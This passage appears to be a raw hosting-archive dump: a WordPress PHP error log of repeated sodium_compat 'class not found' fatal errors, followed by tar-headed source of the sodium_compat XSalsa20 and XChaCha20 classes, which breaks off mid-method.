  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[01-Nov-2025 19:45:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[01-Nov-2025 20:52:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[01-Nov-2025 22:31:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[01-Nov-2025 23:35:51 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[01-Nov-2025 23:35:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[01-Nov-2025 23:46:28 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Nov-2025 02:57:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Nov-2025 03:01:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Nov-2025 03:02:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Nov-2025 03:40:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[02-Nov-2025 03:46:10 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Nov-2025 06:49:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[02-Nov-2025 11:27:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[02-Nov-2025 11:44:47 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[02-Nov-2025 13:41:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[02-Nov-2025 15:27:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[02-Nov-2025 17:11:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[02-Nov-2025 17:11:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[02-Nov-2025 17:34:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[02-Nov-2025 21:13:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[02-Nov-2025 21:17:01 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[02-Nov-2025 21:19:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[02-Nov-2025 22:03:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[03-Nov-2025 01:56:24 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[03-Nov-2025 07:29:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[03-Nov-2025 07:29:52 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[03-Nov-2025 07:30:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[03-Nov-2025 07:30:47 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[03-Nov-2025 07:31:52 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[03-Nov-2025 07:32:53 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[03-Nov-2025 07:35:56 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[03-Nov-2025 07:37:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[03-Nov-2025 07:38:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[03-Nov-2025 07:39:52 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[03-Nov-2025 07:40:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[03-Nov-2025 07:41:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[03-Nov-2025 07:44:03 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[03-Nov-2025 07:44:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[03-Nov-2025 07:46:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[03-Nov-2025 07:50:07 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[03-Nov-2025 07:58:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[03-Nov-2025 07:58:23 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[03-Nov-2025 07:59:27 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[03-Nov-2025 08:00:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[03-Nov-2025 08:01:37 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[03-Nov-2025 08:02:42 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[03-Nov-2025 08:10:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[03-Nov-2025 08:12:00 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[03-Nov-2025 08:14:06 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[03-Nov-2025 08:17:05 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[03-Nov-2025 08:18:56 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[04-Nov-2025 05:30:33 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[04-Nov-2025 05:30:40 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[04-Nov-2025 05:30:56 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_AES" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[04-Nov-2025 05:31:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[04-Nov-2025 05:32:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HChaCha20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[04-Nov-2025 05:35:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Salsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[04-Nov-2025 05:36:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[04-Nov-2025 05:39:49 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[04-Nov-2025 05:40:40 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[04-Nov-2025 05:42:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_HSalsa20" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[04-Nov-2025 05:44:45 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[04-Nov-2025 05:47:43 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/AES.php on line 14
[04-Nov-2025 19:31:17 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[05-Nov-2025 00:30:34 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[05-Nov-2025 09:32:39 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Ed25519" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
Core/XSalsa20.php000064400000002533151024233030007476 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XSalsa20
 */
abstract class ParagonIE_Sodium_Core_XSalsa20 extends ParagonIE_Sodium_Core_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
Core/XChaCha20.php000064400000006452151024233030007546 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XChaCha20
 */
class ParagonIE_Sodium_Core_XChaCha20 extends ParagonIE_Sodium_Core_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len = 64, $nonce = '', $key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
